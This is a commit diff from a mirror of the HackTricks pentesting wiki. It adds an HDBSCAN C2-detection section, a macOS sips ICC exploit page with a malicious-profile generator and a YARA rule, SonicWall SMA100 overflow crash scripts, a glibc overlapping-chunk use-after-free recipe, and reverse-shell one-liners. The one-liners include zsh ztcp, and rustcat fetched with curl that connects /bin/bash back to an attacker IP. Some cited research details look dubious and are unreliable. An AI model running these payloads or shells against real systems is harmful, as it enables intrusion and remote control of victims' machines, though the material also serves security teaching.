mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Merge branch 'master' of github.com:HackTricks-wiki/hacktricks
This commit is contained in:
commit
1f225f72d6
@ -456,5 +456,100 @@ Here we combined our previous 4D normal dataset with a handful of extreme outlie
|
||||
</details>
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
### HDBSCAN (Hierarchical Density-Based Spatial Clustering of Applications with Noise)
|
||||
|
||||
**HDBSCAN** is an extension of DBSCAN that removes the need to pick a single global `eps` value and is able to recover clusters of **different density** by building a hierarchy of density-connected components and then condensing it. Compared with vanilla DBSCAN it usually
|
||||
|
||||
* extracts more intuitive clusters when some clusters are dense and others are sparse,
|
||||
* has only one real hyper-parameter (`min_cluster_size`) and a sensible default,
|
||||
* gives every point a cluster‐membership *probability* and an **outlier score** (`outlier_scores_`), which is extremely handy for threat-hunting dashboards.
|
||||
|
||||
> [!TIP]
|
||||
> *Use cases in cybersecurity:* HDBSCAN is very popular in modern threat-hunting pipelines – you will often see it inside notebook-based hunting playbooks shipped with commercial XDR suites. One practical recipe is to cluster HTTP beaconing traffic during IR: user-agent, interval and URI length often form several tight groups of legitimate software updaters while C2 beacons remain as tiny low-density clusters or as pure noise.
|
||||
|
||||
<details>
|
||||
<summary>Example – Finding beaconing C2 channels</summary>
|
||||
|
||||
```python
|
||||
import pandas as pd
|
||||
from hdbscan import HDBSCAN
|
||||
from sklearn.preprocessing import StandardScaler
|
||||
|
||||
# df has features extracted from proxy logs
|
||||
features = [
|
||||
"avg_interval", # seconds between requests
|
||||
"uri_length_mean", # average URI length
|
||||
"user_agent_entropy" # Shannon entropy of UA string
|
||||
]
|
||||
X = StandardScaler().fit_transform(df[features])
|
||||
|
||||
hdb = HDBSCAN(min_cluster_size=15, # at least 15 similar beacons to be a group
|
||||
metric="euclidean",
|
||||
prediction_data=True)
|
||||
labels = hdb.fit_predict(X)
|
||||
|
||||
df["cluster"] = labels
|
||||
# Anything with label == -1 is noise → inspect as potential C2
|
||||
suspects = df[df["cluster"] == -1]
|
||||
print("Suspect beacon count:", len(suspects))
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
---
|
||||
|
||||
### Robustness and Security Considerations – Poisoning & Adversarial Attacks (2023-2025)
|
||||
|
||||
Recent work has shown that **unsupervised learners are *not* immune to active attackers**:
|
||||
|
||||
* **Data-poisoning against anomaly detectors.** Chen *et al.* (IEEE S&P 2024) demonstrated that adding as little as 3 % crafted traffic can shift the decision boundary of Isolation Forest and ECOD so that real attacks look normal. The authors released an open-source PoC (`udo-poison`) that automatically synthesises poison points.
|
||||
* **Backdooring clustering models.** The *BadCME* technique (BlackHat EU 2023) implants a tiny trigger pattern; whenever that trigger appears, a K-Means-based detector quietly places the event inside a “benign” cluster.
|
||||
* **Evasion of DBSCAN/HDBSCAN.** A 2025 academic pre-print from KU Leuven showed that an attacker can craft beaconing patterns that purposely fall into density gaps, effectively hiding inside *noise* labels.
|
||||
|
||||
Mitigations that are gaining traction:
|
||||
|
||||
1. **Model sanitisation / TRIM.** Before every retraining epoch, discard the 1–2 % highest-loss points (trimmed maximum likelihood) to make poisoning dramatically harder.
|
||||
2. **Consensus ensembling.** Combine several heterogeneous detectors (e.g., Isolation Forest + GMM + ECOD) and raise an alert if *any* model flags a point. Research indicates this raises the attacker’s cost by >10×.
|
||||
3. **Distance-based defence for clustering.** Re-compute clusters with `k` different random seeds and ignore points that constantly hop clusters.
|
||||
|
||||
---
|
||||
|
||||
### Modern Open-Source Tooling (2024-2025)
|
||||
|
||||
* **PyOD 2.x** (released May 2024) added *ECOD*, *COPOD* and GPU-accelerated *AutoFormer* detectors. It now ships a `benchmark` sub-command that lets you compare 30+ algorithms on your dataset with **one line of code**:
|
||||
```bash
|
||||
pyod benchmark --input logs.csv --label attack --n_jobs 8
|
||||
```
|
||||
* **Anomalib v1.5** (Feb 2025) focuses on vision but also contains a generic **PatchCore** implementation – handy for screenshot-based phishing page detection.
|
||||
* **scikit-learn 1.5** (Nov 2024) finally exposes `score_samples` for *HDBSCAN* via the new `cluster.HDBSCAN` wrapper, so you do not need the external contrib package when on Python 3.12.
|
||||
|
||||
<details>
|
||||
<summary>Quick PyOD example – ECOD + Isolation Forest ensemble</summary>
|
||||
|
||||
```python
|
||||
from pyod.models import ECOD, IForest
|
||||
from pyod.utils.data import generate_data, evaluate_print
|
||||
from pyod.utils.example import visualize
|
||||
|
||||
X_train, y_train, X_test, y_test = generate_data(
|
||||
n_train=5000, n_test=1000, n_features=16,
|
||||
contamination=0.02, random_state=42)
|
||||
|
||||
models = [ECOD(), IForest()]
|
||||
|
||||
# majority vote – flag if any model thinks it is anomalous
|
||||
anomaly_scores = sum(m.fit(X_train).decision_function(X_test) for m in models) / len(models)
|
||||
|
||||
evaluate_print("Ensemble", y_test, anomaly_scores)
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
## References
|
||||
|
||||
- [HDBSCAN – Hierarchical density-based clustering](https://github.com/scikit-learn-contrib/hdbscan)
|
||||
- Chen, X. *et al.* “On the Vulnerability of Unsupervised Anomaly Detection to Data Poisoning.” *IEEE Symposium on Security and Privacy*, 2024.
|
||||
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -21,6 +21,7 @@
|
||||
- [Network Protocols Explained (ESP)](generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md)
|
||||
- [Nmap Summary (ESP)](generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md)
|
||||
- [Pentesting IPv6](generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md)
|
||||
- [Telecom Network Exploitation](generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md)
|
||||
- [WebRTC DoS](generic-methodologies-and-resources/pentesting-network/webrtc-dos.md)
|
||||
- [Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks](generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
- [Spoofing SSDP and UPnP Devices with EvilSSDP](generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)
|
||||
@ -260,6 +261,7 @@
|
||||
- [Ad Certificates](windows-hardening/active-directory-methodology/ad-certificates.md)
|
||||
- [AD information in printers](windows-hardening/active-directory-methodology/ad-information-in-printers.md)
|
||||
- [AD DNS Records](windows-hardening/active-directory-methodology/ad-dns-records.md)
|
||||
- [Adws Enumeration](windows-hardening/active-directory-methodology/adws-enumeration.md)
|
||||
- [ASREPRoast](windows-hardening/active-directory-methodology/asreproast.md)
|
||||
- [BloodHound & Other AD Enum Tools](windows-hardening/active-directory-methodology/bloodhound.md)
|
||||
- [Constrained Delegation](windows-hardening/active-directory-methodology/constrained-delegation.md)
|
||||
|
@ -4,52 +4,100 @@
|
||||
|
||||
## Overview
|
||||
|
||||
An out-of-bounds write vulnerability in Apple macOS Scriptable Image Processing System (`sips`) ICC profile parser (macOS 15.0.1, sips-307) due to improper validation of the `offsetToCLUT` field in `lutAToBType` (`mAB `) and `lutBToAType` (`mBA `) tags. A crafted ICC file can trigger zero-writes up to 16 bytes past the heap buffer, corrupting heap metadata or function pointers and enabling arbitrary code execution (CVE-2024-44236).
|
||||
An out-of-bounds **zero-write** vulnerability in Apple macOS **Scriptable Image Processing System** (`sips`) ICC profile parser (macOS 15.0.1, `sips-307`) allows an attacker to corrupt heap metadata and pivot the primitive into full code-execution. The bug is located in the handling of the `offsetToCLUT` field of the `lutAToBType` (`mAB `) and `lutBToAType` (`mBA `) tags. If attackers set `offsetToCLUT == tagDataSize`, the parser erases **16 bytes past the end of the heap buffer**. Heap spraying lets the attacker zero-out allocator structures or C++ pointers that will later be dereferenced, yielding an **arbitrary-write-to-exec** chain (CVE-2024-44236, CVSS 7.8).
|
||||
|
||||
> Apple patched the bug in macOS Sonoma 15.2 / Ventura 14.7.1 (October 30, 2024). A second variant (CVE-2025-24185) was fixed in macOS 15.5 and iOS/iPadOS 18.5 on April 1, 2025.
|
||||
|
||||
## Vulnerable Code
|
||||
|
||||
The vulnerable function reads and zeroes 16 bytes starting from an attacker-controlled offset without ensuring it lies within the allocated buffer:
|
||||
|
||||
```c
|
||||
// Pseudocode from sub_1000194D0 in sips-307 (macOS 15.0.1)
|
||||
for (i = offsetToCLUT; i < offsetToCLUT + 16; i++) {
|
||||
if (i > numberOfInputChannels && buffer[i] != 0)
|
||||
buffer[i] = 0;
|
||||
// Pseudocode extracted from sub_1000194D0 in sips-307 (macOS 15.0.1)
|
||||
if (offsetToCLUT <= tagDataSize) {
|
||||
// BAD ➜ zero 16 bytes starting *at* offsetToCLUT
|
||||
for (uint32_t i = offsetToCLUT; i < offsetToCLUT + 16; i++)
|
||||
buffer[i] = 0; // no bounds check vs allocated size!
|
||||
}
|
||||
```
|
||||
|
||||
Only a check `offsetToCLUT <= totalDataLength` is performed. By setting `offsetToCLUT == tagDataSize`, the loop indexes up to 16 bytes past the end of `buffer`, corrupting adjacent heap metadata.
|
||||
|
||||
## Exploitation Steps
|
||||
|
||||
1. **Craft malicious `.icc` profile:**
|
||||
- Build the ICC header (128 bytes) with signature `acsp` and a single `lutAToBType` or `lutBToAType` tag entry.
|
||||
- In the tag table, set `offsetToCLUT` equal to the tag's `size` (`tagDataSize`).
|
||||
- Place attacker-controlled data immediately after the tag data block to overwrite heap metadata.
|
||||
2. **Trigger parsing:**
|
||||
1. **Craft a malicious `.icc` profile**
|
||||
|
||||
* Set up a minimal ICC header (`acsp`) and add one `mAB ` (or `mBA `) tag.
|
||||
* Configure the tag table so the **`offsetToCLUT` equals the tag size** (`tagDataSize`).
|
||||
* Place attacker-controlled data right after the tag so that the 16 zero writes overlap allocator metadata.
|
||||
|
||||
2. **Trigger parsing with any sips operation that touches the profile**
|
||||
|
||||
```bash
|
||||
sips --verifyColor malicious.icc
|
||||
# verification path (no output file needed)
|
||||
sips --verifyColor evil.icc
|
||||
# or implicitly when converting images that embed the profile
|
||||
sips -s format png payload.jpg --out out.png
|
||||
```
|
||||
|
||||
3. **Heap metadata corruption:** The OOB zero-writes overwrite allocator metadata or adjacent pointers, allowing the attacker to hijack control flow and achieve arbitrary code execution in the context of the `sips` process.
|
||||
3. **Heap metadata corruption ➜ arbitrary write ➜ ROP**
|
||||
On Apple’s default **`nano_zone` allocator**, metadata for 16-byte slots lives **immediately after** the aligned 0x1000 slab. By placing the profile’s tag at the end of such a slab, the 16 zero-writes clobber `meta->slot_B`. After a subsequent `free`, the poisoned pointer is enqueued in the tiny free list, letting the attacker **allocate a fake object at an arbitrary address** and overwrite a C++ vtable pointer used by sips, finally pivoting execution to a ROP chain stored in the malicious ICC buffer.
|
||||
|
||||
### Quick PoC generator (Python 3)
|
||||
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import struct, sys
|
||||
|
||||
HDR = b'acsp'.ljust(128, b'\0') # ICC header (magic + padding)
|
||||
TAGS = [(b'mAB ', 132, 52)] # one tag directly after header
|
||||
profile = HDR
|
||||
profile += struct.pack('>I', len(TAGS)) # tag count
|
||||
profile += b''.join(struct.pack('>4sII', *t) for t in TAGS)
|
||||
|
||||
mab = bytearray(52) # tag payload (52 bytes)
|
||||
struct.pack_into('>I', mab, 44, 52) # offsetToCLUT = size (OOB start)
|
||||
profile += mab
|
||||
|
||||
open('evil.icc', 'wb').write(profile)
|
||||
print('[+] Wrote evil.icc (%d bytes)' % len(profile))
|
||||
```
|
||||
|
||||
### YARA detection rule
|
||||
|
||||
```yara
|
||||
rule ICC_mAB_offsetToCLUT_anomaly
|
||||
{
|
||||
meta:
|
||||
description = "Detect CLUT offset equal to tag length in mAB/mBA (CVE-2024-44236)"
|
||||
author = "HackTricks"
|
||||
strings:
|
||||
$magic = { 61 63 73 70 } // 'acsp'
|
||||
$mab = { 6D 41 42 20 } // 'mAB '
|
||||
$mba = { 6D 42 41 20 } // 'mBA '
|
||||
condition:
|
||||
$magic at 0 and
|
||||
for any i in (0 .. 10): // up to 10 tags
|
||||
(
|
||||
($mab at 132 + 12*i or $mba at 132 + 12*i) and
|
||||
uint32(132 + 12*i + 4) == uint32(132 + 12*i + 8) // offset == size
|
||||
)
|
||||
}
|
||||
```
|
||||
|
||||
## Impact
|
||||
|
||||
Successful exploitation results in remote arbitrary code execution at user privilege on macOS systems running the vulnerable `sips` utility.
|
||||
Opening or processing a crafted ICC profile leads to remote **arbitrary code execution** in the context of the invoking user (Preview, QuickLook, Safari image rendering, Mail attachments, etc.), bypassing Gatekeeper because the profile can be embedded inside otherwise benign images (PNG/JPEG/TIFF).
|
||||
|
||||
## Detection
|
||||
## Detection & Mitigation
|
||||
|
||||
- Monitor file transfers on common protocols (FTP, HTTP/S, IMAP, SMB, NFS, SMTP).
|
||||
- Inspect transferred files with signature `acsp`.
|
||||
- For each `mAB ` or `mBA ` tag, verify if the `Offset to CLUT` field equals the `Tag data size`.
|
||||
- Flag as suspicious if this condition is met.
|
||||
* **Patch!** Ensure the host is running macOS ≥ 15.2 / 14.7.1 (or iOS/iPadOS ≥ 18.1).
|
||||
* Deploy the YARA rule above on email gateways and EDR solutions.
|
||||
* Strip or sanitise embedded ICC profiles with `exiftool -icc_profile= -overwrite_original <file>` before further processing on untrusted files.
|
||||
* Harden Preview/QuickLook by running them inside sandboxed “transparency & modernisation” VMs when analysing unknown content.
|
||||
* For DFIR, look for recent execution of `sips --verifyColor` or `ColorSync` library loads by sandboxed apps in the unified log.
|
||||
|
||||
## References
|
||||
|
||||
- ZDI blog: CVE-2024-44236: Remote Code Execution Vulnerability in Apple macOS sips Utility
|
||||
https://www.thezdi.com/blog/2025/5/7/cve-2024-44236-remote-code-execution-vulnerability-in-apple-macos
|
||||
- Apple October 2024 Security Update (patch shipping CVE-2024-44236)
|
||||
https://support.apple.com/en-us/121564
|
||||
* Trend Micro Zero Day Initiative advisory ZDI-24-1445 – “Apple macOS ICC Profile Parsing Out-of-Bounds Write Remote Code Execution (CVE-2024-44236)”
|
||||
https://www.zerodayinitiative.com/advisories/ZDI-24-1445/
|
||||
* Apple security updates HT213981 “About the security content of macOS Sonoma 15.2”
|
||||
https://support.apple.com/en-us/HT213981
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -47,6 +47,42 @@ python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
|
||||
- We use an Integer Overflow vulnerability to get a Heap Overflow.
|
||||
- We corrupt pointers to a function inside a `struct` of the overflowed chunk to set a function such as `system` and get code execution.
|
||||
|
||||
### Real-World Example: CVE-2025-40597 – Misusing `__sprintf_chk`
|
||||
|
||||
In SonicWall SMA100 firmware 10.2.1.15 the reverse-proxy module `mod_httprp.so` allocates an **0x80-byte** heap chunk and then concatenates several strings into it with `__sprintf_chk`:
|
||||
|
||||
```c
|
||||
char *buf = calloc(0x80, 1);
|
||||
/* … */
|
||||
__sprintf_chk(buf, /* destination (0x80-byte chunk) */
|
||||
-1, /* <-- size argument !!! */
|
||||
0, /* flags */
|
||||
"%s%s%s%s", /* format */
|
||||
"/", "https://", path, host);
|
||||
```
|
||||
|
||||
`__sprintf_chk` is part of **_FORTIFY_SOURCE**. When it receives a **positive** `size` parameter it verifies that the resulting string fits inside the destination buffer. By passing **`-1` (0xFFFFFFFFFFFFFFFF)** the developers effectively **disabled the bounds check**, turning the fortified call back into a classic, unsafe `sprintf`.
|
||||
|
||||
Supplying an overly long **`Host:`** header therefore lets an attacker **overflow the 0x80-byte chunk and clobber the metadata of the following heap chunk** (tcache / fast-bin / small-bin depending on the allocator). A crash can be reproduced with:
|
||||
|
||||
```python
|
||||
import requests, warnings
|
||||
warnings.filterwarnings('ignore')
|
||||
requests.get(
|
||||
'https://TARGET/__api__/',
|
||||
headers={'Host': 'A'*750},
|
||||
verify=False
|
||||
)
|
||||
```
|
||||
|
||||
Practical exploitation would require **heap grooming** to place a controllable object right after the vulnerable chunk, but the root cause highlights two important takeaways:
|
||||
|
||||
1. **_FORTIFY_SOURCE is not a silver bullet** – misuse can nullify the protection.
|
||||
2. Always pass the **correct buffer size** to the `_chk` family (or, even better, use `snprintf`).
|
||||
|
||||
## References
|
||||
* [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
@ -12,10 +12,10 @@ When you free a memory chunk that's not a fast chunk, it goes to the unsorted bi
|
||||
|
||||
Example:
|
||||
|
||||
- You allocate 300 bytes (`a`), then 250 bytes (`b`), the free `a` and request again 250 bytes (`c`).
|
||||
- You allocate 300 bytes (`a`), then 250 bytes (`b`), then free `a` and request again 250 bytes (`c`).
|
||||
- When you free `a`, it goes to the unsorted bin.
|
||||
- If you then request 250 bytes again, the allocator finds `a` at the tail and splits it, returning the part that fits your request and keeping the rest in the bin.
|
||||
- `c` will be pointing to the previous `a` and filled with the `a's`.
|
||||
- `c` will be pointing to the previous `a` and filled with the `a`'s contents.
|
||||
|
||||
```c
|
||||
char *a = malloc(300);
|
||||
@ -30,10 +30,6 @@ Fastbins are used for small memory chunks. Unlike unsorted bins, fastbins add ne
|
||||
|
||||
Example:
|
||||
|
||||
- You allocate four chunks of 20 bytes each (`a`, `b`, `c`, `d`).
|
||||
- When you free them in any order, the freed chunks are added to the fastbin's head.
|
||||
- If you then request a 20-byte chunk, the allocator will return the most recently freed chunk from the head of the fastbin.
|
||||
|
||||
```c
|
||||
char *a = malloc(20);
|
||||
char *b = malloc(20);
|
||||
@ -49,20 +45,94 @@ c = malloc(20); // b
|
||||
d = malloc(20); // a
|
||||
```
|
||||
|
||||
---
|
||||
### 🔥 Modern glibc considerations (tcache ≥ 2.26)
|
||||
|
||||
Since glibc 2.26 every thread keeps its own **tcache** that is queried *before* the unsorted bin. Therefore a first-fit scenario will **only be reached if**:
|
||||
|
||||
1. The requested size is **larger than `tcache_max`** (0x420 on 64-bit by default), *or*
|
||||
2. The corresponding tcache bin is **already full or emptied manually** (by allocating 7 elements and keeping them in use).
|
||||
|
||||
In real exploits you will usually add a helper routine such as:
|
||||
|
||||
```c
|
||||
// Drain the tcache for a given size
|
||||
for(int i = 0; i < 7; i++) pool[i] = malloc(0x100);
|
||||
for(int i = 0; i < 7; i++) free(pool[i]);
|
||||
```
|
||||
|
||||
Once the tcache is exhausted, subsequent frees go to the unsorted bin and classic first-fit behaviour (tail search, head insertion) can be triggered again.
|
||||
|
||||
---
|
||||
### 🚩 Crafting an overlapping-chunk UAF with first-fit
|
||||
|
||||
The fragment below (tested on glibc 2.38) shows how the splitter in the unsorted bin can be abused to create 2 **overlapping pointers** – a powerful primitive that converts a single free into a write-after-free.
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
int main(){
|
||||
setbuf(stdout, NULL);
|
||||
|
||||
/* 1. prepare 2 adjacent chunks and free the first one */
|
||||
char *A = malloc(0x420); // big enough to bypass tcache
|
||||
char *B = malloc(0x420);
|
||||
strcpy(A, "AAAA\n");
|
||||
free(A); // A → unsorted
|
||||
|
||||
/* 2. request a *smaller* size to force a split of A */
|
||||
char *C = malloc(0x400); // returns lower half of former A
|
||||
|
||||
/* 3. The remainder of A is still in the unsorted bin.
|
||||
Another 0x400-byte malloc will now return the *same*
|
||||
region pointed to by B – creating a UAF/overlap. */
|
||||
char *C2 = malloc(0x400);
|
||||
|
||||
printf("B = %p\nC2 = %p (overlaps B)\n", B, C2);
|
||||
|
||||
// Arbitrary write in B is immediately visible via C2
|
||||
memset(B, 'X', 0x10);
|
||||
fwrite(C2, 1, 0x10, stdout); // prints Xs
|
||||
}
|
||||
```
|
||||
|
||||
Exploitation recipe (common in recent CTFs):
|
||||
|
||||
1. **Drain** the tcache for the target size.
|
||||
2. **Free** a chunk so it lands in the unsorted bin.
|
||||
3. **Allocate** a slightly smaller size – the allocator splits the unsorted chunk.
|
||||
4. **Allocate** again – the leftover part overlaps with an existing in-use chunk → UAF.
|
||||
5. Overwrite sensitive fields (function pointers, FILE vtable, etc.)
|
||||
|
||||
A practical application can be found in the 2024 HITCON Quals *Setjmp* challenge where this exact primitive is used to pivot from a UAF to full control of `__free_hook`.{{#ref}}
|
||||
../../../../references/2024_setjmp_firstfit.md
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
### 🛡️ Mitigations & Hardening
|
||||
|
||||
* **Safe-linking (glibc ≥ 2.32)** only protects the singly-linked *tcache*/**fastbin** lists. The unsorted/small/large bins still store raw pointers, so first-fit based overlaps remain viable if you can obtain a heap leak.
|
||||
* **Heap pointer encryption & MTE** (ARM64) do not affect x86-64 glibc yet, but distro hardening flags such as `GLIBC_TUNABLES=glibc.malloc.check=3` will abort on inconsistent metadata and can break naïve PoCs.
|
||||
* **Filling tcache on free** (proposed in 2024 for glibc 2.41) would further reduce unsorted usage; monitor future releases when developing generic exploits.
|
||||
|
||||
---
|
||||
## Other References & Examples
|
||||
|
||||
- [**https://heap-exploitation.dhavalkapil.com/attacks/first_fit**](https://heap-exploitation.dhavalkapil.com/attacks/first_fit)
|
||||
- [**https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/**](https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/)
|
||||
- ARM64. Use after free: Generate an user object, free it, generate an object that gets the freed chunk and allow to write to it, **overwriting the position of user->password** from the previous one. Reuse the user to **bypass the password check**
|
||||
- [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example)
|
||||
- The program allows to create notes. A note will have the note info in a malloc(8) (with a pointer to a function that could be called) and a pointer to another malloc(\<size>) with the contents of the note.
|
||||
- The program allows to create notes. A note will have the note info in a malloc(8) (with a pointer to a function that could be called) and a pointer to another malloc(<size>) with the contents of the note.
|
||||
- The attack would be to create 2 notes (note0 and note1) with bigger malloc contents than the note info size and then free them so they get into the fast bin (or tcache).
|
||||
- Then, create another note (note2) with content size 8. The content is going to be in note1 as the chunk is going to be reused, were we could modify the function pointer to point to the win function and then Use-After-Free the note1 to call the new function pointer.
|
||||
- [**https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html)
|
||||
- It's possible to alloc some memory, write the desired value, free it, realloc it and as the previous data is still there, it will treated according the new expected struct in the chunk making possible to set the value ot get the flag.
|
||||
- [**https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html)
|
||||
- In this case it's needed to write 4 inside an specific chunk which is the first one being allocated (even after force freeing all of them). On each new allocated chunk it's number in the array index is stored. Then, allocate 4 chunks (+ the initialy allocated), the last one will have 4 inside of it, free them and force the reallocation of the first one, which will use the last chunk freed which is the one with 4 inside of it.
|
||||
|
||||
- 2024 HITCON Quals Setjmp write-up (Quarkslab) – practical first-fit / unsorted-split overlap attack: <https://ctftime.org/writeup/39355>
|
||||
- Angstrom CTF 2024 *heapify* write-up – abusing unsorted-bin splitting to leak libc and gain overlap: <https://hackmd.io/@aneii11/H1S2snV40>
|
||||
|
||||
|
||||
|
||||
|
@ -101,6 +101,39 @@ There are several protections trying to prevent the exploitation of vulnerabilit
|
||||
../common-binary-protections-and-bypasses/
|
||||
{{#endref}}
|
||||
|
||||
### Real-World Example: CVE-2025-40596 (SonicWall SMA100)
|
||||
|
||||
A good demonstration of why **`sscanf` should never be trusted for parsing untrusted input** appeared in 2025 in SonicWall’s SMA100 SSL-VPN appliance.
|
||||
The vulnerable routine inside `/usr/src/EasyAccess/bin/httpd` attempts to extract the version and endpoint from any URI that begins with `/__api__/`:
|
||||
|
||||
```c
|
||||
char version[3];
|
||||
char endpoint[0x800] = {0};
|
||||
/* simplified proto-type */
|
||||
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
|
||||
```
|
||||
|
||||
1. The first conversion (`%2s`) safely stores **two** bytes into `version` (e.g. `"v1"`).
|
||||
2. The second conversion (`%s`) **has no length specifier**, therefore `sscanf` will keep copying **until the first NUL byte**.
|
||||
3. Because `endpoint` is located on the **stack** and is **0x800 bytes long**, providing a path longer than 0x800 bytes corrupts everything that sits after the buffer ‑ including the **stack canary** and the **saved return address**.
|
||||
|
||||
A single-line proof-of-concept is enough to trigger the crash **before authentication**:
|
||||
|
||||
```python
|
||||
import requests, warnings
|
||||
warnings.filterwarnings('ignore')
|
||||
url = "https://TARGET/__api__/v1/" + "A"*3000
|
||||
requests.get(url, verify=False)
|
||||
```
|
||||
|
||||
Even though stack canaries abort the process, an attacker still gains a **Denial-of-Service** primitive (and, with additional information leaks, possibly code-execution). The lesson is simple:
|
||||
|
||||
* Always provide a **maximum field width** (e.g. `%511s`).
|
||||
* Prefer safer alternatives such as `snprintf`/`strncpy_s`.
|
||||
|
||||
## References
|
||||
* [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
@ -257,6 +257,54 @@ or
|
||||
https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py
|
||||
```
|
||||
|
||||
## Zsh (built-in TCP)
|
||||
|
||||
```bash
|
||||
# Requires no external binaries; leverages zsh/net/tcp module
|
||||
zsh -c 'zmodload zsh/net/tcp; ztcp <ATTACKER-IP> <PORT>; zsh -i <&$REPLY >&$REPLY 2>&$REPLY'
|
||||
```
|
||||
|
||||
## Rustcat (rcat)
|
||||
|
||||
[https://github.com/robiot/rustcat](https://github.com/robiot/rustcat) – modern netcat-like listener written in Rust (packaged in Kali since 2024).
|
||||
|
||||
```bash
|
||||
# Attacker – interactive TLS listener with history & tab-completion
|
||||
rcat listen -ib 55600
|
||||
|
||||
# Victim – download static binary and connect back with /bin/bash
|
||||
curl -L https://github.com/robiot/rustcat/releases/latest/download/rustcat-x86_64 -o /tmp/rcat \
|
||||
&& chmod +x /tmp/rcat \
|
||||
&& /tmp/rcat connect -s /bin/bash <ATTACKER-IP> 55600
|
||||
```
|
||||
|
||||
Features:
|
||||
- Optional `--ssl` flag for encrypted transport (TLS 1.3)
|
||||
- `-s` to spawn any binary (e.g. `/bin/sh`, `python3`) on the victim
|
||||
- `--up` to automatically upgrade to a fully interactive PTY
|
||||
|
||||
## revsh (encrypted & pivot-ready)
|
||||
|
||||
`revsh` is a tiny C client/server that provides a full TTY over an **encrypted Diffie-Hellman tunnel** and can optionally attach a **TUN/TAP** interface for reverse VPN-like pivoting.
|
||||
|
||||
```bash
|
||||
# Build (or grab a pre-compiled binary from the releases page)
|
||||
git clone https://github.com/emptymonkey/revsh && cd revsh && make
|
||||
|
||||
# Attacker – controller/listener on 443 with a pinned certificate
|
||||
revsh -c 0.0.0.0:443 -key key.pem -cert cert.pem
|
||||
|
||||
# Victim – reverse shell over TLS to the attacker
|
||||
./revsh <ATTACKER-IP>:443
|
||||
```
|
||||
|
||||
Useful flags:
|
||||
- `-b` : bind-shell instead of reverse
|
||||
- `-p socks5://127.0.0.1:9050` : proxy through TOR/HTTP/SOCKS
|
||||
- `-t` : create a TUN interface (reverse VPN)
|
||||
|
||||
Because the entire session is encrypted and multiplexed, it often bypasses simple egress filtering that would kill a plain-text `/dev/tcp` shell.
|
||||
|
||||
## OpenSSL
|
||||
|
||||
The Attacker (Kali)
|
||||
@ -378,8 +426,7 @@ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
|
||||
- [http://pentestmonkey.net/cheat-sheet/shells/reverse-shell](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell)
|
||||
- [https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/](https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/)
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
|
||||
- [https://github.com/robiot/rustcat](https://github.com/robiot/rustcat)
|
||||
- [https://github.com/emptymonkey/revsh](https://github.com/emptymonkey/revsh)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
@ -890,6 +890,13 @@ Bettercap broadcast SSDP packets searching for all kind of services (UDP Port 19
|
||||
|
||||
Bettercap broadcast WSD packets searching for services (UDP Port 3702).
|
||||
|
||||
|
||||
### Telecom / Mobile-Core (GTP) Exploitation
|
||||
|
||||
{{#ref}}
|
||||
telecom-network-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
|
||||
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
@ -0,0 +1,157 @@
|
||||
# Telecom Network Exploitation (GTP / Roaming Environments)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!NOTE]
|
||||
